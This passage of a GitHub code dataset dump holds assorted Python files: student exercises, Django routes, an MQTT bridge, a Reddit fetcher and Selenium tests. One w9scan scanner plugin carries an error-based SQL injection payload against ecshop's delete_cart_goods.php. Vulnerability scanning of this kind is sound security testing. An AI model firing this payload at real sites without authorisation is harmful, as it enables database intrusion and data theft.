win32com.server.register\n    \n    win32com.server.register.UseCommandLine(HelloWorld)\n    logging.debug('End of program')\n\n","repo_name":"RayNieva/Python","sub_path":"pyCOMServer3.py","file_name":"pyCOMServer3.py","file_ext":"py","file_size_in_byte":1203,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"8533930856","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n\ndef assign(service, arg):\n    if service == \"ecshop\":\n        return True, arg\n\ndef audit(arg):\n    url = arg + \"delete_cart_goods.php\"\n    payload = \"id=1 and (select 1 from  (select count(*),concat(version(),floor(rand(0)*2))x from  information_schema.tables group by x)a)\"\n    code, head, res, errcode,finalurl =  curl.curl(url + \" -d '\" + payload +\"'\")\n    \n    if code == 200:\n        if res.find(\"for key 'group_key'\") != -1:\n            security_hole('find sql injection: ' + url)\n            \nif __name__ == '__main__':\n    from dummy import *\n    audit(assign('ecshop', 'http://www.example.com/')[1])","repo_name":"w-digital-scanner/w9scan","sub_path":"plugins/ecshop/482.py","file_name":"482.py","file_ext":"py","file_size_in_byte":656,"program_lang":"python","lang":"en","doc_type":"code","stars":1099,"dataset":"github-code","pt":"16"}
+{"seq_id":"20075819795","text":"'''\nLab 7\n'''\n#3.1\ni=6\nwhile i>=1:\n    i=i-1\n    if i==3:\n        continue\n    print(i)\n\n#3.2\ni=1\nresult=1\n\nwhile i<=5:\n    result = result * i\n    i=i+1\n    \n    print(result)\n    \n#3.3\ni = 1\nresult = 0\n\nwhile i <= 5:\n    result = result + i\n    i = i + 1\n\nprint(result)\n\n#3.4\nk = 3\nresult = 1\n\nwhile k <= 8:\n    result = result * k\n    k = k + 1\nprint(result)\n\n#3.5\nn = 3\nnumerator = 1\n\nwhile n <= 8:\n    numerator = numerator * n\n    n = n + 1\nd = 3\ndenominator = 1\n\nwhile d <= 3:\n    denominator = denominator * d\n    d = d + 1\n    \n    result= numerator/denominator \nprint(result)\n\n#3.6\nnum_list = [12, 32, 43, 35]\n\nwhile len(num_list) > 0:\n    num_list.pop()\n    print(num_list)\n    \n  \n    \n\n       \n\n    \n    ","repo_name":"GabiSchultz4/IA241-github","sub_path":"Lab7.py","file_name":"Lab7.py","file_ext":"py","file_size_in_byte":717,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"10516931790","text":"\"\"\"\r\nURL mappings for the recipe app.\r\n\"\"\"\r\nfrom django.urls import (\r\n    path\r\n)\r\nfrom .views import UserRegistrationViewSet\r\nfrom rest_framework_simplejwt.views import (\r\n    TokenRefreshView,\r\n)\r\nfrom .views import LogoutAPIView, LoginAPIView\r\n\r\n\r\napp_name = 'authentication'\r\n\r\nurlpatterns = [\r\n    path('register/', UserRegistrationViewSet.as_view(), name=\"register\"),\r\n    path('login/', LoginAPIView.as_view(), name=\"login\"),\r\n    path('logout/', LogoutAPIView.as_view(), name=\"logout\"),\r\n    path('token/refresh/', TokenRefreshView.as_view(), name='token_refresh'),\r\n    \r\n]\r\n","repo_name":"mohitv789/BlogApp","sub_path":"app/authentication/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":585,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"42566449901","text":"from SimpleProblemSolvingAgent import SimpleProblemSolvingAgent\nimport Graph\nimport json\n\n\ndef main():\n    response = \"\"\n    while True:\n        file_path = input(\"Enter the map file location\\n> \")  # Local path to map file is 'romania_map.json'\n\n        try:\n            with open(file_path, \"r\") as f:\n                state = json.loads(f.read())\n                break\n        except FileNotFoundError:\n            print(\"Could not find the file\")\n\n    while response != \"No\":\n        start = input(\"Enter starting city.\\n> \").title()\n        if start not in state[\"locations\"]:\n            print(\"Could not find the city on the map, start again..\")\n            continue\n        goal = input(\"Enter ending city.\\n> \").title()\n        if goal not in state[\"locations\"]:\n            print(\"Could not find the city on the map, start again..\")\n            continue\n        if start == goal:\n            print(\"Start and end cities are the same, start again..\")\n            continue\n\n        romania_graph = state[\"romaniaMap\"]\n        undirected_romania_map = Graph.UndirectedGraph(romania_graph)\n\n        romania_map_locations = state[\"locations\"]\n\n        print(\"\\nCalculating path from \" + start + \" to \" + goal + \".\\n\")\n        solver = SimpleProblemSolvingAgent(undirected_romania_map, romania_map_locations, start, goal)\n        print(\"Utilizing Greedy Best-First Search:\")\n        solver.search(\"Greedy Best First Search\")\n        print(\"\\nUtilizing A* Search:\")\n        solver.search(\"A* Search\")\n        print(\"\\nUtilizing Hill-Climbing Search\")\n        solver.search(\"Hill-Climbing\")\n        print(\"\\nUtilizing Simulated Annealing Search\")\n        solver.search(\"Simulated Annealing\")\n\n        response = input(\"Would you like to calculate a new path? ('Yes' or 'No').\\n> \").title()\n        print(response)\n\n    print(\"Thank you for using our app!\")\n\n\nif __name__ == \"__main__\":\n    main()\n","repo_name":"khateraAlizada/simpleProblemSolvingAgent","sub_path":"RomaniaCityApp.py","file_name":"RomaniaCityApp.py","file_ext":"py","file_size_in_byte":1898,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"3754906635","text":"#yiled from解析：\r\n# iterable_object = [['set',1,2],['list',3,4],['dict',5,6],['generator',7,8],]\r\n#\r\n#\r\n# def yield_from_equivalent(iter_obj):\r\n#     for obj in iter_obj:\r\n#         for value in obj:\r\n#             yield value\r\n#\r\n#\r\n# def yield_from(iter_obj):\r\n#     for obj in iter_obj:\r\n#         yield from obj\r\n#\r\n#\r\n# for item in yield_from_equivalent(iterable_object):\r\n#     print(item)\r\n#\r\n# for item in yield_from(iterable_object):\r\n#     print(item)\r\n\r\n\r\n#yield from 实例，近似协程，用同步编程的方式实现异步编程\r\ndef sum_data():\r\n    x = yield\r\n    sale = sum(x)\r\n    return sale, x\r\n\r\ndef middle(key):\r\n    global record\r\n    while True:     #不用while True， main（）里面就要用try。因为yield from 内部构造就有一个yield还有return，\r\n                    # 如果没有while True，从sum的return过来就直接到了yield from的return然后赋值然后结束mi函数，由于不是因为遇到yield结束而是因为mi函数执行结束而结束，就会报StopIteration的错。\r\n                    #用了while True之后，就算sum过来，执行完yieldfrom然后在执行完赋值语句之后，也会因为有一个while True而继续走到yield from的内部执行，直到遇到内部的yield，\r\n                    # 然后停止，此时cpu应该不会阻塞在此，反而会继续回到上一次的断点，也就是main的for循环，从此开启了新一轮的for循环，mi又被新的middle函数覆盖，导致上次的mid就永远卡在了这里，未完成，等待垃圾回收。\r\n        record[key] = yield from sum_data()\r\n\r\ndef main():\r\n    #通过月销量，计算各种口味土豆泥总销量，并按格式打印\r\n    global record\r\n    record = {'麻辣土豆泥':(34,54,76,150),\r\n              '奶香土豆泥':(43,76,100,200,300),\r\n              '榴莲土豆泥':(0,0,0,0,0,0)\r\n    }\r\n    for key, value in record.items():\r\n        mi = middle(key)\r\n        mi.send(None)\r\n        mi.send(value)\r\n        # try:\r\n        #     mi.send(value)\r\n        # except StopIteration:\r\n        #     pass\r\nmain()\r\nprint(record)\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n","repo_name":"LinjingBi/python_multiplexing","sub_path":"multiplexing/chapter_3/coroutine_yield_from.py","file_name":"coroutine_yield_from.py","file_ext":"py","file_size_in_byte":2134,"program_lang":"python","lang":"zh","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"32179482865","text":"\n'''\n在一个字符串(1<=字符串长度<=10000，全部由大写字母组成)中找到第一个只出现一次的字符。\n'''\nclass solution(object):\n    def first(self, str1):\n        if type(str1) != str:\n            return None\n        a = str1[0]\n        b = str1[0]\n        for i in range(len(str1)):\n            if set(a+str1[i]) != set(a):\n                a = a + str1[i]\n                b = b + str1[i]\n            else:\n                b.replace('str[i]','')\n        return b[1]\n\n\na = 'abaccdeff'\nss = solution()\nprint(ss.first(a))\n","repo_name":"tianwen0110/find-job","sub_path":"target_offer/第一个只出现一次的字符.py","file_name":"第一个只出现一次的字符.py","file_ext":"py","file_size_in_byte":545,"program_lang":"python","lang":"zh","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"23790709802","text":"from pylab import *\nimport matplotlib.pyplot as plt\nimport numpy as np\nfrom matplotlib.widgets import Slider\n\n#inspired from https://cvarin.github.io/CSci-Survival-Guide/fft.html\n\nx = np.linspace(-100,100,1000)\n\n\ndef packet(A, t, w, T):\n    return A * np.cos(w * t) * np.exp(-t ** 2 / T ** 2)\n\n\n\n\nrcParams['axes.grid'] = True\nrcParams['font.size'] = 14\nrcParams['axes.labelsize'] = 22\n\nA = 1.0\nw = 5\nT = 2.5\n\n ###############################################################################\n# time axis\nn = 1000\nt = linspace(-150,150,n)\ndt = t[1] - t[0]\n\n ###############################################################################\n\ndp = 2.0*pi/(t[-1] - t[0])\np = arange(-n/2,n/2)*dp\n\n ###############################################################################\nfig = figure(figsize=(9,9))\nplt.subplots_adjust(bottom=0.2)\n\n# time series\nplt.subplot(211)\np1,=plt.plot(t, packet(A,t,w,T))\nplt.title(\"Gaussian wavepacket\")\nplt.xlabel(r\"$x$\")\nplt.ylabel(r\"$\\psi(x)$\")\nplt.xlim(-40,40)\n\n\n\n\n\n\n\nsignal = packet(A, t, w, T)\ntrans = np.fft.fftshift(np.fft.fft(signal)) * dt / sqrt(2.0 * pi)\nnum_spec = np.abs(trans) ** 2\n\nplt.subplot(212)\np3,=plt.plot(p,num_spec)\nplt.xlabel(r\"$p$\")\nplt.ylabel(r\"$|\\overset{\\sim}{\\psi}(p)|^2$\")\n\n\naxSlider_1 = plt.axes([0.2, 0.1, 0.65, 0.03])\n\nt_slider = Slider(\n                ax=axSlider_1,\n                label=r\"Packet Width\",\n                valmin=0.05,\n                valmax=20,\n                valinit=5,\n                valstep=0.05,\n                closedmin=False,\n                closedmax=True\n\n)\n\na = 5\n\ndef update(value):\n    time = t_slider.val\n    print(time)\n\n\n    p1.set_xdata(t)\n    p1.set_ydata(packet(A,t,w,time))\n\n\n    signal = packet(A, t, w, time)\n    trans = np.fft.fftshift(np.fft.fft(signal)) * dt / sqrt(2.0 * pi)\n    num_spec = np.abs(trans) ** 2\n\n    p3.set_xdata(p)\n    p3.set_ydata(num_spec)\n\n    fig.canvas.draw_idle()\n\n    return time\n\n\nt_slider.on_changed(update)\n\nplt.show()\n","repo_name":"ScorP1onnn/Animations","sub_path":"wavepacket.py","file_name":"wavepacket.py","file_ext":"py","file_size_in_byte":1946,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"25053350073","text":"import scriptcontext as sc\nimport Rhino\nimport rhinoscriptsyntax as rs\n\nlayer = Rhino.DocObjects.Layer()\nsc.doc.Views.RedrawEnabled = False\n\ndef AddCNCLayers():\n    \n    \n    \n    LayerNames = [\"Work layer\", \"CNC drill\", \"CNC pocket\", \"CNC engrave\" , \"CNC cut\", \"CNC 3D\", \"CNC tabs\"]\n    LayerColors = [(221,221,221), (255,191,0), (253,0,255), (255,125,218), (0,163,184), (100,113,113), (191,191,255)]\n    Count = 0\n    for x in LayerNames:\n        layer.Name = x\n        sc.doc.Layers.Add(layer)\n        sc.doc.Layers.Add\n        \n        rs.LayerColor(x, LayerColors[Count])\n        Count += 1\n\nAddCNCLayers()\nsc.doc.Views.RedrawEnabled = True","repo_name":"fellesverkstedet/Bark-beetle-parametric-toolpaths","sub_path":"Python_scripts/BarkBeetleLayers.py","file_name":"BarkBeetleLayers.py","file_ext":"py","file_size_in_byte":645,"program_lang":"python","lang":"en","doc_type":"code","stars":87,"dataset":"github-code","pt":"16"}
+{"seq_id":"15017912422","text":"import matplotlib.pylab as plt\n    \ndef plot_loci(self,loci,filename,flank_limit=2): # pragma: no cover\n    '''\n        Plots the loci, windows and candidate genes\n\n        Parameters\n        ----------\n        loci : iterable of co.Loci\n            The loci to print\n        filename : str\n            The output filename\n    '''\n    plt.clf()\n    # Each chromosome gets a plot\n    chroms = set([x.chrom for x in loci])\n    # Create a figure with a subplot for each chromosome \n    f, axes = plt.subplots(len(chroms),figsize=(10,4*len(chroms)))\n    # Split loci by chromosome\n    chromloci = defaultdict(list)\n    for locus in sorted(loci):\n        chromloci[locus.chrom].append(locus)\n    # iterate over Loci\n    seen_chroms = set([loci[0].chrom])\n    voffset = 1 # Vertical Offset\n    hoffset = 0 # Horizonatal Offset\n    current_chrom = 0\n    for i,locus in enumerate(loci):\n        # Reset the temp variables in necessary\n        if locus.chrom not in seen_chroms:\n            seen_chroms.add(locus.chrom)\n            current_chrom += 1\n            voffset = 1\n            hoffset = 0\n        # Do the access things\n        cax = axes[current_chrom]\n        cax.set_ylabel('Chrom: '+ locus.chrom)\n        cax.set_xlabel('Loci')\n        cax.get_yaxis().set_ticks([])\n        #cax.get_xaxis().set_ticks([])\n        # shortcut for current axis\n        cax.hold(True)\n        # place marker for start window\n        cax.scatter(hoffset,voffset,marker='>')\n        # place marker for start snp\n        cax.scatter(hoffset+locus.window,voffset,marker='.',color='blue')\n        # place marker for stop snp\n        cax.scatter(hoffset+locus.window+len(locus),voffset,marker='.',color='blue')\n        # place marker for stop snp\n        cax.scatter(hoffset+locus.window+len(locus)+locus.window,voffset,marker='<')\n\n        # place markers for sub snps\n        #for subsnp in locus.sub_loci:\n        #    cax.scatter(\n        #        hoffset + subsnp.start - locus.start + locus.window,\n        #        voffset,\n        #        marker='.',\n        #        color='blue'\n        #    )\n\n        # place a block for interlocal distance\n        cax.barh(\n            bottom=voffset,\n            width=50,\n            height=1,\n            left=hoffset+locus.window+len(locus)+locus.window,\n            color='red'\n        )\n        # grab the candidate genes\n        for gene in self.candidate_genes(locus,flank_limit=flank_limit):\n            cax.barh(\n                bottom=voffset,\n                width = len(gene),\n                height= 1,\n                left=gene.start-locus.start+locus.window,\n                color='red'\n            )\n        voffset += 5\n\n    plt.savefig(filename)\n    return f\n\n","repo_name":"MeeshCompBio/LocusPocus","sub_path":"locuspocus/Plot.py","file_name":"Plot.py","file_ext":"py","file_size_in_byte":2705,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"10087134262","text":"def two_cnt(n):\n    cnt = 0\n    while n != 0:\n        n = n // 2\n        cnt += n\n    return cnt\n\ndef five_cnt(n):\n    cnt = 0\n    while n != 0:\n        n = n // 5\n        cnt += n\n    return cnt\n\n\nif __name__ == \"__main__\":\n    n, m = map(int, input().split())\n\n    n_two = two_cnt(n) - two_cnt(m) - two_cnt(n - m)\n    n_five = five_cnt(n) - five_cnt(m) - five_cnt(n - m)\n\n    print(min(n_two, n_five))","repo_name":"vhzpt109/Algorithm","sub_path":"BOJ/2004_조합 0의 개수.py","file_name":"2004_조합 0의 개수.py","file_ext":"py","file_size_in_byte":403,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"32800845876","text":"import argparse\nimport paho.mqtt.client as mqtt\nimport requests\nimport re\nimport logging\nimport sys\nimport requests.exceptions\n\n\nclass MessageStore(object):\n\n    def store_msg(self, node_name, event_name, value):\n        raise NotImplementedError()\n\n\nclass HonghuStore(MessageStore):\n    logger = logging.getLogger(\"bridge.HonghuStore\")\n    url = \"\"\n    token = \"\"\n\n    def __init__(self, host, port, token, hei_name, event_set):\n\n        hei_name = hei_name\n        event_set = event_set\n\n        self.token = token\n        self.url = f\"http://{host}:{port}/api/data/v1.0/data/ingestions/events?endpoint={hei_name}&event_set={event_set}&_datatype=json\"\n\n    def store_msg(self, node_name, event_name, data):\n        honghu_msg = data\n\n        headers = {\n            \"Content-Type\": \"text/plain\",\n            \"Authorization\": 'Bearer ' + self.token\n        }\n        self.logger.debug(\"Writing Honghu Event: %s\", honghu_msg)\n        try:\n            res = requests.post(url=self.url, data=honghu_msg, headers=headers)\n            # print(res.raw)\n\n        except requests.exceptions.ConnectionError as e:\n            self.logger.exception(e)\n\n\nclass MessageSource(object):\n\n    def __init__(self):\n        self._stores = None\n\n    def register_store(self, store):\n        if not hasattr(self, '_stores'):\n            self._stores = []\n        self._stores.append(store)\n\n    @property\n    def stores(self):\n        # return copy\n        return list(self._stores)\n\n\nclass MQTTSource(MessageSource):\n    logger = logging.getLogger(\"bridge.MQTTSource\")\n\n    def __init__(self, host, port, username, password, node_names, stringify_values_for_measurements):\n        self.host = host\n        self.port = port\n        self.username = username\n        self.password = password\n        self.node_names = node_names\n        self.stringify = stringify_values_for_measurements\n        self._setup_handlers()\n\n    def _setup_handlers(self):\n        self.client = mqtt.Client()\n\n        def on_connect(client, userdata, flags, rc):\n            self.logger.info(\"Connected with result code  %s\", rc)\n            # subscribe to /node_name/wildcard\n            for node_name in self.node_names:\n                topic = \"/{node_name}/#\".format(node_name=node_name)\n                self.logger.info(\n                    \"Subscribing to topic %s for node_name %s\", topic, node_name)\n                client.subscribe(topic)\n\n        def on_message(client, userdata, msg):\n            self.logger.info(\n                \"Received MQTT message for topic %s with payload %s\", msg.topic, msg.payload)\n            token_pattern = '(?:\\w|-|\\.)+'\n            regex = re.compile(\n                '/(?P<node_name>' + token_pattern + ')/(?P<event_name>' + token_pattern + ')/?')\n            match = regex.match(msg.topic)\n            if match is None:\n                self.logger.warn(\n                    \"Could not extract node name or measurement name from topic %s\", msg.topic)\n                return\n            node_name = match.group('node_name')\n            if node_name not in self.node_names:\n                self.logger.warn(\n                    \"Extract node_name %s from topic, but requested to receive messages for node_name %s\", node_name,\n                    self.node_name)\n            event_name = match.group('event_name')\n\n            stored_message = msg.payload\n\n            for store in self.stores:\n                store.store_msg(node_name, event_name, stored_message)\n\n        self.client.on_connect = on_connect\n        self.client.on_message = on_message\n\n    def start(self):\n        self.client.connect(self.host, self.port)\n        self.client.username_pw_set(self.username, self.password)\n        # Blocking call that processes network traffic, dispatches callbacks and\n        # handles reconnecting.\n        # Other loop*() functions are available that give a threaded interface and a\n        # manual interface.\n        self.client.loop_forever()\n\n\ndef main():\n    parser = argparse.ArgumentParser(\n        description='MQTT to Honghu bridge for IOT data.')\n    parser.add_argument('--mqtt-host', required=True, help='MQTT host')\n    parser.add_argument('--mqtt-port', default=\"15438\", help='MQTT port')\n    parser.add_argument('--mqtt-username', required=True, help='MQTT username')\n    parser.add_argument('--mqtt-password', default=\"18080\", help='MQTT password')\n    parser.add_argument('--honghu-host', required=True, help='Honghu host')\n    parser.add_argument('--honghu-port', default=\"8086\", help='Honghu port')\n    parser.add_argument('--honghu-hei', required=True,\n                        help='honghu HEI Name')\n    parser.add_argument('--honghu-token', required=False, help='Token')\n    parser.add_argument('--event-set', required=True,\n                        help='Event set')\n    parser.add_argument('--node-name', required=True,\n                        help='Sensor node name', action=\"append\")\n    parser.add_argument('--stringify-values-for-measurements', required=False,\n                        help='Force str() on measurements of the given name', action=\"append\")\n    parser.add_argument('--verbose', help='Enable verbose output to stdout',\n                        default=False, action='store_true')\n    args = parser.parse_args()\n\n    if args.verbose:\n        logging.basicConfig(stream=sys.stdout, level=logging.DEBUG)\n    else:\n        logging.basicConfig(stream=sys.stdout, level=logging.INFO)\n\n    store = HonghuStore(host=args.honghu_host, port=int(args.honghu_port),\n                        token=args.honghu_token, hei_name=args.honghu_hei,\n                        event_set=args.event_set)\n\n    source = MQTTSource(host=args.mqtt_host,\n                        port=int(args.mqtt_port),\n                        username=args.mqtt_username,\n                        password=args.mqtt_password,\n                        node_names=args.node_name,\n                        stringify_values_for_measurements=args.stringify_values_for_measurements)\n    source.register_store(store)\n    source.start()\n\n\nif __name__ == '__main__':\n    main()\n","repo_name":"neulf/mqtt-honghu","sub_path":"bridge.py","file_name":"bridge.py","file_ext":"py","file_size_in_byte":6068,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"16"}
+{"seq_id":"31663110561","text":"import requests\nfrom os import path\nimport configparser\n\n\ndef request_reddit_json(url):\n    json_url = url + '.json'\n\n    headers = {\"User-Agent\": \"User agent for pulling posts and wiki pages locally.\"}\n    resp = requests.get(json_url, headers=headers)\n\n    if not resp:\n        raise RuntimeError(f'An error has occured in the request of {url}')\n\n    return resp.json()\n\n\ndef get_reddit_post_body(url, outpath='./reddit_pages/', title=None, overwrite=True):\n    assert('comment/' not in url), 'Provided url appears to be for a comment rather than a post or wiki page.'\n    is_wiki = '/wiki/' in url\n\n    if is_wiki:\n        if title is None:\n            title = url.replace('https://www.reddit.com/r/', '').replace('/', ' ').strip()\n    else:\n        if title is None:\n            if url[-1] == '/':\n                title = url.split('/')[-2].replace('_', ' ')\n            else:\n                raise RuntimeError('The url should end in a \\'/\\'')\n\n    file_title = ''\n    for char in title.replace(' ', '_'):\n        if char.isalnum() or char == '_':\n            file_title += char\n\n    dest_path = f'{outpath}/{file_title}.md'\n\n    if path.isfile(dest_path) and overwrite is False:\n        print(f'A file with title matching below url already exists, skipping.\\n{url}\\n')\n\n        return None\n\n    data = request_reddit_json(url)\n    if is_wiki:\n        body = data['data']['content_md']\n    else:\n        body = data[0]['data']['children'][0]['data']['selftext']\n\n    if body.isspace() or body == '':\n        print(f'Body is nothing but whitespace, skipping below url.\\n{url}\\n')\n\n        return None\n\n    with open(dest_path, 'w') as filer:\n        filer.write(f'# {title}\\n\\n')\n        filer.write(body)\n\n    return dest_path\n\n\ndef loop_over_ini(ini_path):\n    config = configparser.ConfigParser()\n    config.read(ini_path)\n\n    default_section = config['DEFAULT']\n    overwrite = default_section.getboolean('overwrite', True)\n    outpath = default_section.get('outpath', './reddit_pages/')\n\n    for url in config.sections():\n        print(url)\n        title = config[url].get('title', None)\n        get_reddit_post_body(url, outpath=outpath, title=title, overwrite=overwrite)\n\n\ndef print_pretty_json(json_url):\n    with request_reddit_json(json_url) as json_handle:\n        data = json.load(json_handle)\n\n    pretty = json.dumps(data, indent=2)\n\n    with open('./pretty.json', 'w') as filer:\n        filer.write(pretty)\n\n\nif __name__ == '__main__':\n    loop_over_ini('./reddit_post.ini')\n","repo_name":"Daniel-Jenkins/misc_python_scripts","sub_path":"reddit/pull_reddit_post.py","file_name":"pull_reddit_post.py","file_ext":"py","file_size_in_byte":2495,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"36380921329","text":"import csv\n\n# This file saves only the wanted diagnoses and renames them\n# Disease gets labeled 1\n# Mental illness 2\n# Violence 3\n# Traffic accidents 4\n\n# IN AND OUTPUT NAMES\n# deadper100000\n# deadper100000_1\n# dead\n# dead1\n\nwith open('dead.csv', 'r') as f_input, open('dead1.csv', 'w') as f_output:\n    csv_output = csv.writer(f_output, delimiter = ';')\n\n    data = csv.reader(f_input, delimiter = ';');\n    csv_output.writerow(next(data));\n\n    # read 4 lists: sjukdomar, vald, trafik, psykiska\n    with open('lists/sjukdomar.csv', 'r') as f:\n    \treader = csv.reader(f, delimiter = ';')\n    \ta = list(reader)\n    \tsjukdom = [i[0] for i in a]\n\n    with open('lists/psykiska.csv', 'r') as f:\n    \treader = csv.reader(f, delimiter = ';')\n    \ta = list(reader)\n    \tpsykiska = [i[0] for i in a]\n\n    with open('lists/violence.csv', 'r') as f:\n    \treader = csv.reader(f, delimiter = ';')\n    \ta = list(reader)\n    \tviolence = [i[0] for i in a]\n\n    with open('lists/trafik.csv', 'r') as f:\n    \treader = csv.reader(f, delimiter = ';')\n    \ta = list(reader)\n    \ttrafik = [i[0] for i in a]\n\n\n    for row in data:\n    \tif len(row[5]) and len(row[6]):\t\t# if value exists\n    \t\tif int(row[4]) == 3:\t\t\t# if both genders\n    \t\t\tif row[3] in sjukdom:\t\t\t# only include overview data\n    \t\t\t\trow[3] = 1;\n    \t\t\t\tcsv_output.writerow(row)\n    \t\t\telif row[3] in psykiska:\n    \t\t\t\trow[3] = 2;\n    \t\t\t\tcsv_output.writerow(row)\n    \t\t\telif row[3] in violence:\n    \t\t\t\trow[3] = 3;\n    \t\t\t\tcsv_output.writerow(row)\n    \t\t\telif row[3] in trafik:\n    \t\t\t\trow[3] = 4;\n    \t\t\t\tcsv_output.writerow(row)\n\n\n\n    \t\t\t\n    \t\t\t\n\n\n","repo_name":"hilmautanefternamn/infoviz","sub_path":"data/shrinkData.py","file_name":"shrinkData.py","file_ext":"py","file_size_in_byte":1601,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"13766806780","text":"def solution(N, stages):\n    answer = []\n    check = {}\n    check[N+1]=True\n    totalTry = [0] * (N+2)\n\n    stages.sort()\n    for i in stages :\n        totalTry[i]+=1\n\n    for i in stages :\n        if i not in check :\n            cntI = stages.count(i)\n            totaluser = 0\n            j = i\n            for j in range(j,N+2) :\n                totaluser += totalTry[j]\n            answer.append((i,cntI/totaluser))\n            check[i]=True\n\n\n    for i in range(1,N+1) :\n        if i not in check :\n            answer.append((i,0.0))\n\n    answer2 = [x[0] for x in sorted(answer, key = lambda x : (-x[1],x[0]))]\n\n    return answer2\n\nif __name__ == \"__main__\":\n    stages = [4,4,4,4,4]\n    N = 4\n    print(solution(N, stages))","repo_name":"Dayeon1233/Python_algorithm","sub_path":"programmers_level1/실패율/20210607_실패율.py","file_name":"20210607_실패율.py","file_ext":"py","file_size_in_byte":729,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"11161480001","text":"import time\nfrom unicodedata import name\nimport pytest\nfrom pages.elements_page import *\nfrom selenium.webdriver.common.action_chains import ActionChains\n\n\ndef test_text_box(driver):\n    page = TextBoxPage(driver, 'https://demoqa.com/text-box')\n    page.open()\n    full_name, email, current_address, permanent_address = page.fill_all_fields()\n    out_full_name, out_email, out_current_address, out_permanent_address = page.check_output_form()\n    assert full_name == out_full_name, \"Введенное имя не соответствует отображаемомому в итоговой форме\"\n    assert email == out_email, \"Введенный email не соответствует отображаемомому в итоговой форме\"\n    assert current_address == out_current_address, \"Введенный текущий адрес не соответствует отображаемомому в итоговой форме\"\n    assert permanent_address == out_permanent_address, \"Введенный постоянный адрес не соответствует отображаемомому в итоговой форме\"\n\n\ndef test_checkbox(driver):\n    checkbox_page = CheckBoxPage(driver, 'https://demoqa.com/checkbox')\n    checkbox_page.open()\n    checkbox_page.expand_full_item_list()\n    checkbox_page.click_random_item()\n    input_chekbox = checkbox_page.get_checked_items()\n    output_chekbox = checkbox_page.get_output_result()\n    assert input_chekbox == output_chekbox, \"Установленные чекбоксы не равны отображаемым\"\n\n\n@pytest.mark.parametrize(\"radio\", ['Yes', 'Impressive', pytest.param(\"No\", marks=pytest.mark.xfail)])\ndef test_radio_button(driver, radio):\n    radio_button = RadioButton(driver, 'https://demoqa.com/radio-button')\n    radio_button.open()\n    radio_button.click_radio_button(radio)\n    get = radio_button.get_selected_text()\n    assert radio == get\n\n\nclass TestWebTable:\n\n    def test_web_table_add_person(self, driver):\n        web_table = WebTablePage(driver, 'https://demoqa.com/webtables')\n        web_table.open()\n        new_person = web_table.add_new_person()\n        table = web_table.check_added_new_person()\n        assert new_person in table\n\n    @pytest.mark.parametrize(\"field\", [0, 1, 4])\n    def test_web_table_search_person(self, driver, field):\n        #TODO Переделать праметризацию для корректного отображения в тестах.\n        web_table = WebTablePage(driver, 'https://demoqa.com/webtables')\n        web_table.open()\n        new_person = web_table.add_new_person()[field]\n        web_table.search_person(new_person)\n        search_table = web_table.check_search_person()\n        assert new_person in search_table , \"Введенное знание в поле поиста не присутсвует в таблице\"\n\n    def test_web_table_edit_person_info(self, driver):\n        web_table = WebTablePage(driver, 'https://demoqa.com/webtables')\n        web_table.open()\n        new_person = web_table.add_new_person()[0]\n        web_table.search_person(new_person)\n        new_age = web_table.edit_person_info()\n        search_table = web_table.check_search_person()\n        assert new_age in search_table , \"значение в анкете не изменено\"\n\n    def test_web_table_delete_person_info(self, driver):\n        web_table = WebTablePage(driver, 'https://demoqa.com/webtables')\n        web_table.open()\n        new_person = web_table.add_new_person()[0]\n        web_table.search_person(new_person)\n        web_table.delete_person()\n        assert web_table.check_empty_tabel == \"No rows found\"\n\n    @pytest.mark.parametrize('count', ['5', '10', '20', '25', '50', '100'])\n    def test_web_table_change_count_row(self, driver, count):\n        web_table = WebTablePage(driver, 'https://demoqa.com/webtables')\n        web_table.open()\n        web_table.change_count_row(count)\n        row = web_table.check_count_row_in_table()\n        assert row == int(count)\n\n\nclass TestButton:\n\n    def test_double_click(self, driver):\n        button_pages = ButtonPage(driver, \"https://demoqa.com/buttons\")\n        button_pages.open()\n        msg = button_pages.dbl_click()\n        assert msg == 'You have done a double click'\n\n    def test_right_click(self, driver):\n        button_pages = ButtonPage(driver, \"https://demoqa.com/buttons\")\n        button_pages.open()\n        msg = button_pages.rgt_click()\n        assert msg == 'You have done a right click'\n\n    def test_regular_click(self, driver):\n        button_pages = ButtonPage(driver, \"https://demoqa.com/buttons\")\n        button_pages.open()\n        msg = button_pages.regular_click()\n        assert msg == 'You have done a dynamic click'\n\n\nclass TestLink:\n\n    def test_link(self, driver):\n        link_page = LinksPage(driver, 'https://demoqa.com/links')\n        link_page.open()\n        target_url, actual_url = link_page.check_new_tab_simple_link()\n        print(target_url, actual_url)\n        assert target_url == actual_url\n\n\n    def test_broken_link(self, driver):\n        #TODO пересмотреть реализацию негативных тестов. доделать остальные\n        link_page = LinksPage(driver, 'https://demoqa.com/links')\n        response_code = link_page.check_bocken_link(\"https://demoqa.com/bad-request\")\n        assert response_code == 400\n\n\nclass TestUploadDownload:\n\n    def test_upload_file(self, driver):\n\n        upload_download = UploadDownloadPage(driver, 'https://demoqa.com/upload-download')\n        upload_download.open()\n        name_file, path_in_site = upload_download.upload_file()\n        assert name_file in path_in_site\n\n    def test_download_file(self, driver):\n        upload_download = UploadDownloadPage(driver, 